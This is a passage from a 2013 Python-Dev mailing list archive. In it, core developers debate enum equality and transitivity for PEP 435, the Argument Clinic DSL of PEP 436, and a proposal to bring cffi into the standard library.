For those cases I plan on using Nick's namedvalues.  But mostly I'll be using enumerations.

--
~Ethan~

From stefan at bytereef.org  Tue Feb 26 09:30:44 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Tue, 26 Feb 2013 09:30:44 +0100
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <512BFDAB.5050103@hastings.org>
References: <512BFDAB.5050103@hastings.org>
Message-ID: <20130226083044.GA30336@sleipnir.bytereef.org>

Larry Hastings <larry at hastings.org> wrote:
>     http://bugs.python.org/issue16612
> 
> I'm guessing python-dev is the right place for the ten-thousand-foot view
> topics: the merits of the specific proposed DSL syntax, the possible runtime
> extension API, and the approach as a whole.  So for now let's just use the bug
> tracker issue for code reviews and the like.

For anyone who isn't following the issue: A PEP proposing a different DSL
will be forthcoming either this or next weekend.


Stefan Krah




From stephen at xemacs.org  Tue Feb 26 10:29:00 2013
From: stephen at xemacs.org (Stephen J. Turnbull)
Date: Tue, 26 Feb 2013 18:29:00 +0900
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512C5BF7.9090803@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp>
	<512C5BF7.9090803@stoneleaf.us>
Message-ID: <87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp>

Ethan Furman writes:
>>>>> sjt wrote:

 > > Note that in both counting and listing the object of the
 > > operation is not an element.  It is a set, and set membership is
 > > the most important aspect of the elements for that purpose.
 > 
 > No, it isn't.  It may be in some cases.

I'm referring only to the dictionary definitions you quote.

It really sounds to me like your use case (and even more so,
Antoine's) would be perfectly well-served by a named constant class
that doesn't know anything about enumerability.

 > My enums even respect it to the point of not comparing equal to
 > different enum sets.  But, quite frankly, it's the enum's ability
 > to let me use a name to mean a number that is the most
 > important. And the most important thing for the Enum class is to
 > assign those numbers for me as automatically as possible.

But "mean a number" and "assigned automatically" are close to mutually
exclusive (except that "as possible" gives you a lot of wiggle room).

That is, if by "name means number" you imply that the numbers have
semantics (as in Antoine's HTTP status code example), you care what
the numbers are, and they can't be assigned automatically.

OTOH, if the numbers are assigned very automatically (ie, completely
implicitly), I have trouble with coming up with a use case where
ability to use integer arithmetic (including comparisons other than
equality and set membership) on them *by default* is anything but a
trap.  Eg, with a Likert scale for preference[1], I *do* want to order
them, but (at least when I'm teaching statistics) I *really* *don't*
want them added and subtracted without thinking about exactly what the
operation means.

And if you really need arithmetic and automatic assignment is good
enough, what's wrong with their ordinary names (ie, 1, 2, 3, ...)?
<wink/>

Footnotes: 
[1]  A qualitative expression of strength of feeling ("hate" = 1,
"dislike" = 2, "indifferent" = 3, "like" = 4, "love" = 5).

From eliben at gmail.com  Tue Feb 26 14:25:55 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 05:25:55 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <9A698345-D299-42FC-83B3-DABC5DAA9C25@twistedmatrix.com>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
	<20130225130502.3d55e8b6@anarchist.wooz.org>
	<512BAC7C.3060003@stoneleaf.us>
	<20130225153247.005e54a2@anarchist.wooz.org>
	<9A698345-D299-42FC-83B3-DABC5DAA9C25@twistedmatrix.com>
Message-ID: <CAF-Rda-BgdFYKamsEwHQ5RC4tBEkJegMRG22piAwuYrjUdiagA@mail.gmail.com>

On Mon, Feb 25, 2013 at 3:17 PM, Glyph <glyph at twistedmatrix.com> wrote:

>
> On Feb 25, 2013, at 12:32 PM, Barry Warsaw <barry at python.org> wrote:
>
> Dumb question, but are flufl.enums ordered?  That's also an important use
> case.
>
>
> Kind of.  Ordered comparisons are explicitly not supported, but iteration
> over
> the Enum is guaranteed to be returned in int-value order.
>
>
> Sorry to jump in to a random leaf of this thread, but there is such a
> barrage here I cannot find the beginning :).
>
> I can see in <http://www.python.org/dev/peps/pep-0435/#acknowledgments>
> that Twisted is mentioned; it should probably reference <
> https://twistedmatrix.com/documents/current/api/twisted.python.constants.html>
> and <https://twistedmatrix.com/documents/current/core/howto/constants.html>
> since we actually implemented a thing as well.
>
> (You can order constants by sorting them; off the top of my head,
> NamedConstant, ValueConstant, and FlagConstant all probably behave
> differently.)
>
>
Glyph, thanks for the input. I mentioned Twisted because in its code I
found a number of places with simple string enumerations used to represent
state. I was not aware of twisted.python.constants, but it doesn't appear
that this module is used  at least in the places I checked.

Examples:

* twisted/web/_newclient.py
* twisted/web/http.py
* twisted/protocol/sip.py

In general, many protocols have some "state" instance var that's usually
just a string, using either predefined constants or direct string literals.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/81694ce2/attachment.html>

From eliben at gmail.com  Tue Feb 26 15:12:35 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 06:12:35 -0800
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <20130226083044.GA30336@sleipnir.bytereef.org>
References: <512BFDAB.5050103@hastings.org>
	<20130226083044.GA30336@sleipnir.bytereef.org>
Message-ID: <CAF-Rda_pLvi997SBGf=d3yhXdqLWfqZO08fPSxa_e+r5uE0sig@mail.gmail.com>

On Tue, Feb 26, 2013 at 12:30 AM, Stefan Krah <stefan at bytereef.org> wrote:

> Larry Hastings <larry at hastings.org> wrote:
> >     http://bugs.python.org/issue16612
> >
> > I'm guessing python-dev is the right place for the ten-thousand-foot view
> > topics: the merits of the specific proposed DSL syntax, the possible
> runtime
> > extension API, and the approach as a whole.  So for now let's just use
> the bug
> > tracker issue for code reviews and the like.
>
> For anyone who isn't following the issue: A PEP proposing a different DSL
> will be forthcoming either this or next weekend.
>

If the two proposals share at least the motivation, would it not be more
constructive to just have them listed as alternatives in a single PEP? This
could serve as a useful single source of information for the new proposed
features.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/e741b53c/attachment.html>

From eliben at gmail.com  Tue Feb 26 15:27:20 2013
From: eliben at gmail.com (Eli Bendersky)
Date: Tue, 26 Feb 2013 06:27:20 -0800
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <512BFDAB.5050103@hastings.org>
References: <512BFDAB.5050103@hastings.org>
Message-ID: <CAF-Rda_-bbQ-n9Y6NOj5tgma88DdXUbSyukdeOidd8a3vECxag@mail.gmail.com>

On Mon, Feb 25, 2013 at 4:11 PM, Larry Hastings <larry at hastings.org> wrote:

>
> Following up on a conversation on python-dev from last December:
>
> http://mail.python.org/pipermail/python-dev/2012-December/122920.html
>
> I'm pleased to announced PEP 436, proposing Argument Clinic for adoption
> into the CPython source tree.
>
> http://www.python.org/dev/peps/pep-0436/
>
>
You really need to provide some realistic usage examples in the PEP. It's
hard to get a feel for the DSL just from looking at the spec.

Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/705a4b0f/attachment.html>

From stefan at bytereef.org  Tue Feb 26 15:40:19 2013
From: stefan at bytereef.org (Stefan Krah)
Date: Tue, 26 Feb 2013 15:40:19 +0100
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <CAF-Rda_pLvi997SBGf=d3yhXdqLWfqZO08fPSxa_e+r5uE0sig@mail.gmail.com>
References: <512BFDAB.5050103@hastings.org>
	<20130226083044.GA30336@sleipnir.bytereef.org>
	<CAF-Rda_pLvi997SBGf=d3yhXdqLWfqZO08fPSxa_e+r5uE0sig@mail.gmail.com>
Message-ID: <20130226144019.GA806@sleipnir.bytereef.org>

Eli Bendersky <eliben at gmail.com> wrote:
>     For anyone who isn't following the issue: A PEP proposing a different DSL
>     will be forthcoming either this or next weekend.
> 
> 
> If the two proposals share at least the motivation, would it not be more
> constructive to just have them listed as alternatives in a single PEP? This
> could serve as a useful single source of information for the new proposed
> features.

I find PEPs that propose multiple alternatives hard to read. My PEP won't
be short:  It will contain a token specifications, a yacc grammar and
an attempt to specify the semantics of the DSL.


Stefan Krah




From tjreedy at udel.edu  Tue Feb 26 15:50:00 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 26 Feb 2013 09:50:00 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512BA0FE.40206@stoneleaf.us>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BA0FE.40206@stoneleaf.us>
Message-ID: <kgii2p$4uv$1@ger.gmane.org>

On 2/25/2013 12:35 PM, Ethan Furman wrote:

> But this I don't, and in both mine, Ted's, and Alex's versions enums
> from different groups do not compare equal, regardless of the underlying
> value.  Of course, this does have the potential problem of `green == 1
> == bee` but not `green == bee` which would be a problem with set and
> dicts -- but I'm the only one who has brought up that issue.

I have not been following the discussion in detail so I missed that 
before. Breaking transitivity of equality a no-no. It is basic to 
thought and logic.

decimal(0) == 0 == 0.0 != decimal(0)
was a problem we finally fixed by removing the inequality above.
http://bugs.python.org/issue4087
http://bugs.python.org/issue4090

We should NOT knowingly re-introduce the same problem again! If color 
and animal are isolated from each other, they should each be isolated 
from everything, including int.

-- 
Terry Jan Reedy


From tjreedy at udel.edu  Tue Feb 26 16:01:21 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 26 Feb 2013 10:01:21 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <512BF95F.1050800@canterbury.ac.nz>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BF95F.1050800@canterbury.ac.nz>
Message-ID: <kgiio2$bqp$1@ger.gmane.org>

On 2/25/2013 6:53 PM, Greg Ewing wrote:
> Barry Warsaw wrote:
>>     >>> Colors = make('Colors', 'red green blue'.split())
>>     >>> Animals = make('Animals', 'ant bee cat'.split())
>>     >>> Colors.green == Animals.bee
>
> The currently suggested solution to that seems to be to
> make comparison non-transitive, so that Colors.green == 1
> and Animals.bee == 1 but Colors.green != Animals.bee.
> And then hope that this does not create a quantum black
> hole that sucks us all into a logical singularity...

But it will;-).
To repeat myself, transitivity of equality is basic to thought, logic, 
and sets and we should not deliver Python with it broken. (The 
non-reflexivity of NAN is a different issue, but NANs are intentionally 
insane.)

Decimal(0) == 0 == 0.0 != Decimal(0) != Fraction(0) == 0
was a problem we finally fixed by making integer-valued decimals
compare equal to the same valued floats and fractions. In 3.3:

 >>> from decimal import Decimal as D
 >>> from fractions import Fraction as F
 >>> 0 == 0.0 == D(0) == F(0)
True

http://bugs.python.org/issue4087
http://bugs.python.org/issue4090
explain the practical problems. We should NOT knowingly go down this 
road again. If color and animal are isolated from each other, they 
should each be isolated from everything, including int.

-- 
Terry Jan Reedy


From tjreedy at udel.edu  Tue Feb 26 16:09:20 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 26 Feb 2013 10:09:20 -0500
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <20130225204817.38b09100@pitrou.net>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
	<20130225194923.38359888@pitrou.net> <512BBCCB.902@stoneleaf.us>
	<20130225204817.38b09100@pitrou.net>
Message-ID: <kgij71$bqp$2@ger.gmane.org>

On 2/25/2013 2:48 PM, Antoine Pitrou wrote:
> On Mon, 25 Feb 2013 11:34:35 -0800
> Ethan Furman <ethan at stoneleaf.us> wrote:
>> Antoine, question for you:
>>
>> Do you think enums from different groupings should compare equal?
>
> Equality should be mostly transitive so, yes, I think they should.

Or if they do not, then they should neither compare equal to ints. One 
or the other, take your pick, or make both choices available.

-- 
Terry Jan Reedy


From fijall at gmail.com  Tue Feb 26 16:13:44 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 26 Feb 2013 17:13:44 +0200
Subject: [Python-Dev] cffi in stdlib
Message-ID: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>

Hello.

I would like to discuss on the language summit a potential inclusion
of cffi[1] into stdlib. This is a project Armin Rigo has been working
for a while, with some input from other developers. It seems that the
main reason why people would prefer ctypes over cffi these days is
"because it's included in stdlib", which is not generally the reason I
would like to hear. Our calls to not use C extensions and to use an
FFI instead has seen very limited success with ctypes and quite a lot
more since cffi got released. The API is fairly stable right now with
minor changes going in and it'll definitely stablize until Python 3.4
release. Notable projects using it:

* pypycore - gevent main loop ported to cffi
* pgsql2cffi
* sdl-cffi bindings
* tls-cffi bindings
* lxml-cffi port
* pyzmq
* cairo-cffi
* a bunch of others

So relatively a lot given that the project is not even a year old (it
got 0.1 release in June). As per documentation, the advantages over
ctypes:

* The goal is to call C code from Python. You should be able to do so
without learning a 3rd language: every alternative requires you to
learn their own language (Cython, SWIG) or API (ctypes). So we tried
to assume that you know Python and C and minimize the extra bits of
API that you need to learn.

* Keep all the Python-related logic in Python so that you don?t need
to write much C code (unlike CPython native C extensions).

* Work either at the level of the ABI (Application Binary Interface)
or the API (Application Programming Interface). Usually, C libraries
have a specified C API but often not an ABI (e.g. they may document a
?struct? as having at least these fields, but maybe more). (ctypes
works at the ABI level, whereas Cython and native C extensions work at
the API level.)

* We try to be complete. For now some C99 constructs are not
supported, but all C89 should be, including macros (and including
macro ?abuses?, which you can manually wrap in saner-looking C
functions).

* We attempt to support both PyPy and CPython, with a reasonable path
for other Python implementations like IronPython and Jython.

* Note that this project is not about embedding executable C code in
Python, unlike Weave. This is about calling existing C libraries from
Python.

so among other things, making a cffi extension gives you the same
level of security as writing C (and unlike ctypes) and brings quite a
bit more flexibility (API vs ABI issue) that let's you wrap arbitrary
libraries, even those full of macros.

Cheers,
fijal

.. [1]: http://cffi.readthedocs.org/en/release-0.5/

From ncoghlan at gmail.com  Tue Feb 26 16:18:55 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 01:18:55 +1000
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <20130226144019.GA806@sleipnir.bytereef.org>
References: <512BFDAB.5050103@hastings.org>
	<20130226083044.GA30336@sleipnir.bytereef.org>
	<CAF-Rda_pLvi997SBGf=d3yhXdqLWfqZO08fPSxa_e+r5uE0sig@mail.gmail.com>
	<20130226144019.GA806@sleipnir.bytereef.org>
Message-ID: <CADiSq7fjnrSHKhKmkpnkO3KkoYPtQ5iMWOBZe+WvrHXRF9SaoQ@mail.gmail.com>

On Wed, Feb 27, 2013 at 12:40 AM, Stefan Krah <stefan at bytereef.org> wrote:
> Eli Bendersky <eliben at gmail.com> wrote:
>>     For anyone who isn't following the issue: A PEP proposing a different DSL
>>     will be forthcoming either this or next weekend.
>>
>>
>> If the two proposals share at least the motivation, would it not be more
>> constructive to just have them listed as alternatives in a single PEP? This
>> could serve as a useful single source of information for the new proposed
>> features.
>
> I find PEPs that propose multiple alternatives hard to read. My PEP won't
> be short:  It will contain a token specifications, a yacc grammar and
> an attempt to specify the semantics of the DSL.

More importantly, the competing PEPs have different champions, so you
and Larry need to be free to make the best case you can.

Cheers,
Nick.

P.S. I was thinking the last time we had truly competing PEPs was way
back when the with statement was designed, but it turns out the
competing namespace package designs were also separate PEPs. PEP 315
was more an after the fact here's-a-better-way-to-implement-this
redesign of PEP 309, and PEP 3150 vs 403 is just me having an ongoing
discussion with myself (and occasionally others) over a feature I
doubt would ever make it past Guido even if I do eventually decide to
propose one of them.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ncoghlan at gmail.com  Tue Feb 26 16:32:48 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 01:32:48 +1000
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <kgij71$bqp$2@ger.gmane.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B8BE4.5040102@stoneleaf.us>
	<CANc-5UyKn2niDGXMOR1hKB9EJWnvvCqQF2k0JTQBWVzi8O=i+g@mail.gmail.com>
	<20130225175640.043d4d79@pitrou.net>
	<CAF-Rda8EZJFUi3So8zLdH7dH_V=gW3c-UJWOomsMKW=DTn4PLw@mail.gmail.com>
	<20130225194923.38359888@pitrou.net> <512BBCCB.902@stoneleaf.us>
	<20130225204817.38b09100@pitrou.net> <kgij71$bqp$2@ger.gmane.org>
Message-ID: <CADiSq7eH1LASb+eHM4w+iJJuE9RW0+Lzir7cA_4Wdh4ovT5scg@mail.gmail.com>

On Wed, Feb 27, 2013 at 1:09 AM, Terry Reedy <tjreedy at udel.edu> wrote:
> On 2/25/2013 2:48 PM, Antoine Pitrou wrote:
>>
>> On Mon, 25 Feb 2013 11:34:35 -0800
>> Ethan Furman <ethan at stoneleaf.us> wrote:
>>>
>>> Antoine, question for you:
>>>
>>> Do you think enums from different groupings should compare equal?
>>
>>
>> Equality should be mostly transitive so, yes, I think they should.
>
>
> Or if they do not, then they should neither compare equal to ints. One or
> the other, take your pick, or make both choices available.

I'm already working on too many different things to take a serious run
at a labelled values proposal, but it is avoiding precisely this kind
of problem that makes me favour a permissive solution that *doesn't*
define any new behaviour for the instance, aside from changing the
result of repr() and the contents of pickles. (You could potentially
combine it with a "sensitive values" proposal that ensured repr() and
other operations only displayed the label without showing the contents
at all - this is also potentially useful for labelling large strings
that may otherwise overwhelm debug output).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From ethan at stoneleaf.us  Tue Feb 26 16:33:14 2013
From: ethan at stoneleaf.us (Ethan Furman)
Date: Tue, 26 Feb 2013 07:33:14 -0800
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
 435 (enum). The name is not important at the moment, as
In-Reply-To: <kgiio2$bqp$1@ger.gmane.org>
References: <3ZCsSP0rSXzQZS@mail.python.org>
	<20130223150231.GA20921@sleipnir.bytereef.org>
	<20130224204000.6309bd6c@anarchist.wooz.org>
	<512ADB41.5040109@stoneleaf.us>
	<20130224231410.0023038c@anarchist.wooz.org>
	<512B7802.9010306@stoneleaf.us>
	<CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com>
	<512B7F43.5060406@stoneleaf.us>
	<20130225113729.235b86c6@anarchist.wooz.org>
	<512BF95F.1050800@canterbury.ac.nz> <kgiio2$bqp$1@ger.gmane.org>
Message-ID: <512CD5BA.9060901@stoneleaf.us>

On 02/26/2013 07:01 AM, Terry Reedy wrote:
> On 2/25/2013 6:53 PM, Greg Ewing wrote:
>> The currently suggested solution to that seems to be to
>> make comparison non-transitive, so that Colors.green == 1
>> and Animals.bee == 1 but Colors.green != Animals.bee.
>> And then hope that this does not create a quantum black
>> hole that sucks us all into a logical singularity...
>
> But it will;-).
> To repeat myself, transitivity of equality is basic to thought, logic, and sets and we should not deliver Python with it
> broken. (The non-reflexivity of NAN is a different issue, but NANs are intentionally insane.)
>
> Decimal(0) == 0 == 0.0 != Decimal(0) != Fraction(0) == 0
> was a problem we finally fixed by making integer-valued decimals
> compare equal to the same valued floats and fractions. In 3.3:
>
>>>> from decimal import Decimal as D
>>>> from fractions import Fraction as F
>>>> 0 == 0.0 == D(0) == F(0)
> True
>
> http://bugs.python.org/issue4087
> http://bugs.python.org/issue4090
> explain the practical problems. We should NOT knowingly go down this road again. If color and animal are isolated from
> each other, they should each be isolated from everything, including int.

Thank you, Terry.

--
~Ethan~

From ncoghlan at gmail.com  Tue Feb 26 16:42:46 2013
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 27 Feb 2013 01:42:46 +1000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>

On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com> wrote:
> Hello.
>
> I would like to discuss on the language summit a potential inclusion
> of cffi[1] into stdlib.

I think cffi is well worth considering as a possible inclusion for
Python 3.4. (In particular, I'm a fan of the fact it just uses C
syntax to declare what you're trying to talk to)

If I'm reading the dependencies correctly, we would also need to bring
Eli Bendersky's pycparser into the stdlib, correct? (not an objection,
just an observation, although we'd obviously need Eli's explicit
endorsement for that).

There would also be the matter of converting the cffi test suite from
py.test to stdlib unittest.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia

From tjreedy at udel.edu  Tue Feb 26 17:11:12 2013
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 26 Feb 2013 11:11:12 -0500
Subject: [Python-Dev] Announcing PEP 436: The Argument Clinic DSL
In-Reply-To: <512BFDAB.5050103@hastings.org>
References: <512BFDAB.5050103@hastings.org>
Message-ID: <kgimr1$q5k$1@ger.gmane.org>

On 2/25/2013 7:11 PM, Larry Hastings wrote:
>
> Following up on a conversation on python-dev from last December:
>
>     http://mail.python.org/pipermail/python-dev/2012-December/122920.html
>
> I'm pleased to announced PEP 436, proposing Argument Clinic for adoption
> into the CPython source tree.
>
>     http://www.python.org/dev/peps/pep-0436/

The PEP gives an internal, developer-focused rationale. I think there is 
also an external, user-focused rationale. As much as possible (with 
obvious caveats about type introspection), I think it should be 
transparent to users (other than speed) whether a function is 
implemented in Python or C. People who love keyword calling currently 
have to learn which module by module and function by function. 
Tranparency will become even more important as more modules are dual 
coded, and as users move code between implementations. I presume some of 
the complexities of  PyArg_ParseTupleAndKeywords arise from pursuing 
this goal. And if I understand correctly, this PEP should reduce some of 
the complexities. The 'future goal' of C function signature info will 
further aid transparency.

This user rationale suggests that positional-only functions should be 
discouraged.

It also suggests another future goal: a clinic backend that would 
instead output a skeleton python file with def header lines and 
docstrings, leaving the bodies to be filled in. One could also wish for 
the opposite: a python file processor that would convert def header 
lines and docstrings to a skeleton C file with clinic specifications.

 > Do we need to support tuple unpacking?

Well, Python 3 dropped that for python functions, so it is not needed 
needed for conversions to or from python 3 files. I suspect the same 
rationale applies to C as well as Python functions: the unpacking can be 
done explicitly in the body, as needed.

-- 
Terry Jan Reedy


From donald.stufft at gmail.com  Tue Feb 26 17:14:43 2013
From: donald.stufft at gmail.com (Donald Stufft)
Date: Tue, 26 Feb 2013 11:14:43 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
Message-ID: <EB050A72A918404FAD74E35121C7C1BB@gmail.com>

A big +1 from me for cffi in the stdlib it's a great library.

I just recently started using it to make bindings to a C library. I
looked at the ctypes library, but haven't actually used it, because
the docs confused me but with cffi I was able to get somewhere just
by a liberal use of copy/paste from the C library's home page. The
only C I know I figured out from working with cffi and fwiw even with
that minimal amount of gained knowledge I still am confused by the
Ctypes docs and where to even really start to try to use it.


On Tuesday, February 26, 2013 at 10:13 AM, Maciej Fijalkowski wrote:

> Hello.
>  
> I would like to discuss on the language summit a potential inclusion
> of cffi[1] into stdlib. This is a project Armin Rigo has been working
> for a while, with some input from other developers. It seems that the
> main reason why people would prefer ctypes over cffi these days is
> "because it's included in stdlib", which is not generally the reason I
> would like to hear. Our calls to not use C extensions and to use an
> FFI instead has seen very limited success with ctypes and quite a lot
> more since cffi got released. The API is fairly stable right now with
> minor changes going in and it'll definitely stablize until Python 3.4
> release. Notable projects using it:
>  
> * pypycore - gevent main loop ported to cffi
> * pgsql2cffi
> * sdl-cffi bindings
> * tls-cffi bindings
> * lxml-cffi port
> * pyzmq
> * cairo-cffi
> * a bunch of others
>  
> So relatively a lot given that the project is not even a year old (it
> got 0.1 release in June). As per documentation, the advantages over
> ctypes:
>  
> * The goal is to call C code from Python. You should be able to do so
> without learning a 3rd language: every alternative requires you to
> learn their own language (Cython, SWIG) or API (ctypes). So we tried
> to assume that you know Python and C and minimize the extra bits of
> API that you need to learn.
>  
> * Keep all the Python-related logic in Python so that you don?t need
> to write much C code (unlike CPython native C extensions).
>  
> * Work either at the level of the ABI (Application Binary Interface)
> or the API (Application Programming Interface). Usually, C libraries
> have a specified C API but often not an ABI (e.g. they may document a
> ?struct? as having at least these fields, but maybe more). (ctypes
> works at the ABI level, whereas Cython and native C extensions work at
> the API level.)
>  
> * We try to be complete. For now some C99 constructs are not
> supported, but all C89 should be, including macros (and including
> macro ?abuses?, which you can manually wrap in saner-looking C
> functions).
>  
> * We attempt to support both PyPy and CPython, with a reasonable path
> for other Python implementations like IronPython and Jython.
>  
> * Note that this project is not about embedding executable C code in
> Python, unlike Weave. This is about calling existing C libraries from
> Python.
>  
> so among other things, making a cffi extension gives you the same
> level of security as writing C (and unlike ctypes) and brings quite a
> bit more flexibility (API vs ABI issue) that let's you wrap arbitrary
> libraries, even those full of macros.
>  
> Cheers,
> fijal
>  
> .. [1]: http://cffi.readthedocs.org/en/release-0.5/
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org (mailto:Python-Dev at python.org)
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/donald.stufft%40gmail.com
>  
>  


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130226/5345f89e/attachment.html>

From fijall at gmail.com  Tue Feb 26 17:26:10 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Tue, 26 Feb 2013 18:26:10 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CADiSq7eHN7Yf2o-LNU2DLia31tDqFCw3ccQCO0RsEuAWTzv9hw@mail.gmail.com>
Message-ID: <CAK5idxSLOoMov5++gGV0mnHipcE=ofgSPySBBUMYezzyN90u2g@mail.gmail.com>

On Tue, Feb 26, 2013 at 5:42 PM, Nick Coghlan <ncoghlan at gmail.com> wrote:
> On Wed, Feb 27, 2013 at 1:13 AM, Maciej Fijalkowski <fijall at gmail.com> wrote:
